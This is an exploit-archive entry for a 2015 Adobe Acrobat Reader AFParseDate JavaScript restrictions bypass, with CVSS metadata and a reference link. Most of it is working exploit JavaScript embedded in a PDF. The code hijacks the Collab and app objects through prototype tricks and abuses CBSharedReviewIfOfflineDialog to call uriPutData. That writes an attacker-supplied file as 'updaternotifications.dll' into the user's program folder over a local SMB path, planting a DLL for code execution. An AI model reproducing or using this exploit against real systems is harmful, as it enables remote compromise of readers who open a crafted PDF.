Adobe Acrobat Reader AFParseDate Javascript API Restrictions Bypass Vulnerability Exploit

2015.09.28
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

function exploit(myObj,parentObj) { var filePath = parentObj.path.split("/"); filePath = filePath.slice(2,filePath.length-1).join("/"); filePath = "smb://localhost/C$/" + filePath + "/updaternotifications.dll"; var args = { cFileURI: filePath, oData: parentObj.getDataObjectContents("exploit.txt"), cURL: "http://www.doesntmatter.com" } var obj = {} obj.__defineGetter__("attr", function() { Collab = {"isDocCenterURL":myObj.f} Collab.__proto__ = myObj; tester = app; app = {"execDialog":function(args) { return null;}} app.__proto__ = tester; return args; }); try { CBSharedReviewIfOfflineDialog(obj["attr"],"A"); } catch (e) { app.alert(e); } } myObj = {"f": Collab.uriPutData} myObj.__proto__ = Collab; var parentObj = this; o = {'charAt':function(x){return exploit.toString() + " exploit(shortEntry,wordMonthEntry);"}} var ret = AFParseDate("1:1:1:1:1:1",o,stuff,parentObj,o);

References:

https://cxsecurity.com/issue/WLB-2015090173


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